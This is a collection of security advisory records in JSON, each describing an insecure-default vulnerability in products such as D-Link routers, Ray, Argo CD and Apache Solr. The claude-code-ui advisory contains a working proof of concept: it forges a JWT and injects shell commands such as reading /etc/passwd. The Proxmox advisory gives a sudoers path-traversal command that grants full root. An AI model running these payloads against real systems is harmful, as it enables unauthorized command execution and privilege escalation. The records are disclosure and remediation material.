{
  "affected": [],
  "aliases": [
    "CVE-2021-34203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-16T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "D-Link DIR-2640-US 1.01B04 is vulnerable to Incorrect Access Control. Router ac2600 (dir-2640-us), when setting PPPoE, will start quagga process in the way of whole network monitoring, and this function uses the original default password and port. An attacker can easily use telnet to log in, modify routing information, monitor the traffic of all devices under the router, hijack DNS and phishing attacks. In addition, this interface is likely to be questioned by customers as a backdoor, because the interface should not be exposed.",
  "id": "GHSA-gr4j-7v97-rrfc",
  "modified": "2026-07-05T00:31:20Z",
  "published": "2022-05-24T19:05:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liyansong2018/CVE/tree/main/2021/CVE-2021-34203"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "http://d-link.com"
    },
    {
      "type": "WEB",
      "url": "http://dir-2640-us.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-48122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Insecure default configurations in HI-SCAN 6040i Hitrax HX-03-19-I allow authenticated attackers with low-level privileges to escalate to root-level privileges.",
  "id": "GHSA-grr8-7xf6-xmc7",
  "modified": "2025-02-03T18:30:39Z",
  "published": "2025-01-15T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48122"
    },
    {
      "type": "WEB",
      "url": "https://kth.diva-portal.org/smash/get/diva2:1876534/FULLTEXT01.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-31070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-17T09:15:02Z",
    "severity": "CRITICAL"
  },
  "details": "Initialization of a resource with an insecure default vulnerability in FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. allows a remote unauthenticated attacker to access telnet service unlimitedly.",
  "id": "GHSA-grwm-7vmp-5mcp",
  "modified": "2024-08-01T15:32:05Z",
  "published": "2024-07-17T09:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31070"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU96424864"
    },
    {
      "type": "WEB",
      "url": "https://www.centurysys.co.jp/backnumber/nxr_common/20240716-01.html"
    },
    {
      "type": "WEB",
      "url": "https://www.centurysys.co.jp/backnumber/nxr_common/20240716-03.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:37:25Z",
    "nvd_published_at": "2026-03-11T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n## \uf4cb Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret \u2014 `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || \u0027claude-ui-dev-secret-change-in-production\u0027;\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation \u2014 `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82\u2013108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database \u2014 unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() \u2014 VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // \u2190 userId never verified against DB\n\n// authenticateToken() \u2014 CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // \u2190 DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell \u2014 `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from \u0027jsonwebtoken\u0027;\nimport WebSocket from \u0027ws\u0027;\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: \u0027attacker\u0027 },\n  \u0027claude-ui-dev-secret-change-in-production\u0027\n);\n\n// Step 2: Connect to /shell WebSocket \u2014 auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on(\u0027open\u0027, () =\u003e {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: \u0027init\u0027,\n    projectPath: \u0027/tmp\u0027,\n    initialCommand: \u0027id \u0026\u0026 cat /etc/passwd\u0027,\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on(\u0027message\u0027, (data) =\u003e {\n  const msg = JSON.parse(data);\n  if (msg.type === \u0027output\u0027) process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector \u2014 `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: \u0027init\u0027,\n  projectPath: \u0027\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \u0027,\n  provider: \u0027claude\u0027,\n  hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication \u2014 first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` \u2014 tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error(\u0027[FATAL] JWT_SECRET environment variable must be set\u0027);\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 \u2014 Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // \u2190 add\n    if (!user) return null;                          // \u2190 add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 \u2014 Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn(\u0027bash\u0027, [\u0027-c\u0027, `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(\u0027 \u0027)[0], initialCommand.split(\u0027 \u0027).slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 \u2014 Additional hardening\n- Add `expiresIn: \u002724h\u0027` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** \u2014 OPCIA",
  "id": "GHSA-gv8f-wpm2-m5wr",
  "modified": "2026-03-11T20:58:52Z",
  "published": "2026-03-11T00:37:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bpg/terraform-provider-proxmox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.93.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T20:25:53Z",
    "nvd_published_at": "2026-02-04T21:16:01Z",
    "severity": "HIGH"
  },
  "details": "\u003e Note: It is uncertain whether this constitutes a vulnerability or should be filed as an issue instead.\n\n### Summary\n\nIn the SSH configuration documentation, the sudoer line that was suggested can be escalated to edit any files in the system.\n\n### Details\n\nThe following line were suggested for addition in the sudoers file:\n\n```bash\nterraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/*\n```\n\nBut this is highly insecure as  the folder can be escaped using `../` and any files can be edited on the system.\n\n### PoC\n\nUsing a `terraform` user with the previously mentioned line in the `/etc/sudoers` file, a `/etc/sudoers.d/sudo` file can be added using this command:\n\n`echo \"ALL=(ALL) NOPASSWD:ALL\" | tee /var/lib/vz/../../../etc/sudoers.d/sudo`\n\nThis grants access to the full root of the node.\n\n### Impact\n\nThis breaches the access limits of the Terraform user.\n\n### Suggested workaround\n\nUse a strict regex on the command to allow only the names that should be pushed by this user.\n\nExample for cloudinit yaml files:\n\n```bash\nterraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/snippets/[A-Za-z0-9-]*\\\\.yaml\n```",
  "id": "GHSA-gwch-7m8v-7544",
  "modified": "2026-02-04T21:58:25Z",
  "published": "2026-02-02T20:25:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bpg/terraform-provider-proxmox/security/advisories/GHSA-gwch-7m8v-7544"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpg/terraform-provider-proxmox/commit/bd604c41a31e2a55dd6acc01b0608be3ea49c023"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bpg/terraform-provider-proxmox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "terraform-provider-proxmox has insecure sudo recommendation in the documentation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.52.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-34351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-304"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T20:51:10Z",
    "nvd_published_at": "2025-11-27T03:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.",
  "id": "GHSA-gx77-xgc2-4888",
  "modified": "2025-12-01T20:51:10Z",
  "published": "2025-11-27T03:30:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-w8vc-465m-jjw6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34351"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/latest/ray-security/token-auth.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.52.0"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/resourcessupport/allresources/cnarules#section_4-1_Vulnerability_Determination"
    },
    {
      "type": "WEB",
      "url": "https://www.linkedin.com/posts/jonathan-leitschuh_the-latest-piece-of-mind-bending-research-activity-7396976425997606912-qizE"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/anyscale-ray-token-authentication-disabled-by-default-insecure-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray\u0027s New Token Authentication is Disabled By Default"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-40468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Tinyproxy commit 84f203f and earlier does not process HTTP request lines in the process_request() function and is using uninitialized buffers. This vulnerability allows attackers to access sensitive information at system runtime.",
  "id": "GHSA-h3r7-x4mp-2c39",
  "modified": "2025-11-04T18:30:39Z",
  "published": "2022-09-20T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/issues/457"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/issues/457#issuecomment-1264176815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/blob/84f203fb1c4733608c7283bbe794005a469c4b00/src/reqs.c#L346"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-dao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-pojo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-22T20:01:36Z",
    "nvd_published_at": "2023-05-22T16:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Insecure Default Initialization of Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.6.0.  Users registered in InLong who joined later can see deleted users\u0027 data. Users are advised to upgrade to Apache InLong\u0027s 1.7.0 or cherry-pick  https://github.com/apache/inlong/pull/7836 to solve it.\n\n\n",
  "id": "GHSA-h79m-5cm2-278c",
  "modified": "2023-05-30T06:48:22Z",
  "published": "2023-05-22T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/inlong/pull/7836"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/inlong"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/shvwwr6toqz5rr39rwh4k03z08sh9jmr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "User data exposure in Apache InLong"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "8.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-16T17:54:12Z",
    "nvd_published_at": "2024-10-16T08:15:05Z",
    "severity": "HIGH"
  },
  "details": "New ConfigSets that are created via a Restore command, which copy a configSet from the backup and give it a new name, are created without setting the \"trusted\" metadata.\nConfigSets that do not contain the flag are trusted implicitly if the metadata is missing, therefore this leads to \"trusted\" ConfigSets that may not have been created with an Authenticated request.\n\"trusted\" ConfigSets are able to load custom code into classloaders, therefore the flag is supposed to only be set when the request that uploads the ConfigSet is Authenticated \u0026 Authorized.\n\nThis issue affects Apache Solr: from 6.6.0 before 8.11.4, from 9.0.0 before 9.7.0. This issue does not affect Solr instances that are secured via Authentication/Authorization.\n\nUsers are primarily recommended to use Authentication and Authorization when running Solr. However, upgrading to version 9.7.0, or 8.11.4 will mitigate this issue otherwise.",
  "id": "GHSA-h7w9-c5vx-x7j3",
  "modified": "2025-07-02T14:20:10Z",
  "published": "2024-10-16T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45217"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/SOLR-17418"
    },
    {
      "type": "WEB",
      "url": "https://solr.apache.org/security.html#cve-2024-45217-apache-solr-configsets-created-during-a-backup-restore-command-are-trusted-implicitly"
    },
    {
      "type": "PACKAGE",
      "url": "http://svn.apache.org/viewvc/lucene/dev/branches/branch_4x/solr/webapp"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/10/15/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure Default Initialization of Resource vulnerability in Apache Solr"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-26T21:14:45Z",
    "nvd_published_at": "2020-04-08T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Argo CD versions 1.8.0 and prior, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere.\n\n#### Workaround:\n\nThe recommended mitigation as described in the user documentation is to use SSO integration. The default admin password should only be used for initial configuration and then [disabled](https://argo-cd.readthedocs.io/en/stable/operator-manual/user-management/#disable-admin-user) or at least changed to a more secure password.",
  "id": "GHSA-h8jc-jmrf-9h8f",
  "modified": "2024-08-07T19:44:16Z",
  "published": "2021-07-26T21:19:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8828"
    },
    {
      "type": "WEB",
      "url": "https://argo-cd.readthedocs.io/en/stable/security_considerations/#cve-2020-8828-insecure-default-administrative-password"
    },
    {
      "type": "WEB",
      "url": "https://argoproj.github.io/argo-cd/security_considerations"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/blob/129cf5370f9e2c6f99c9a5515099250a7ba42099/docs/security_considerations.md#cve-2020-8828---insecure-default-administrative-password"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo/releases"
    },
    {
      "type": "WEB",
      "url": "https://www.soluble.ai/blog/argo-cves-2020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD Insecure default administrative password"
}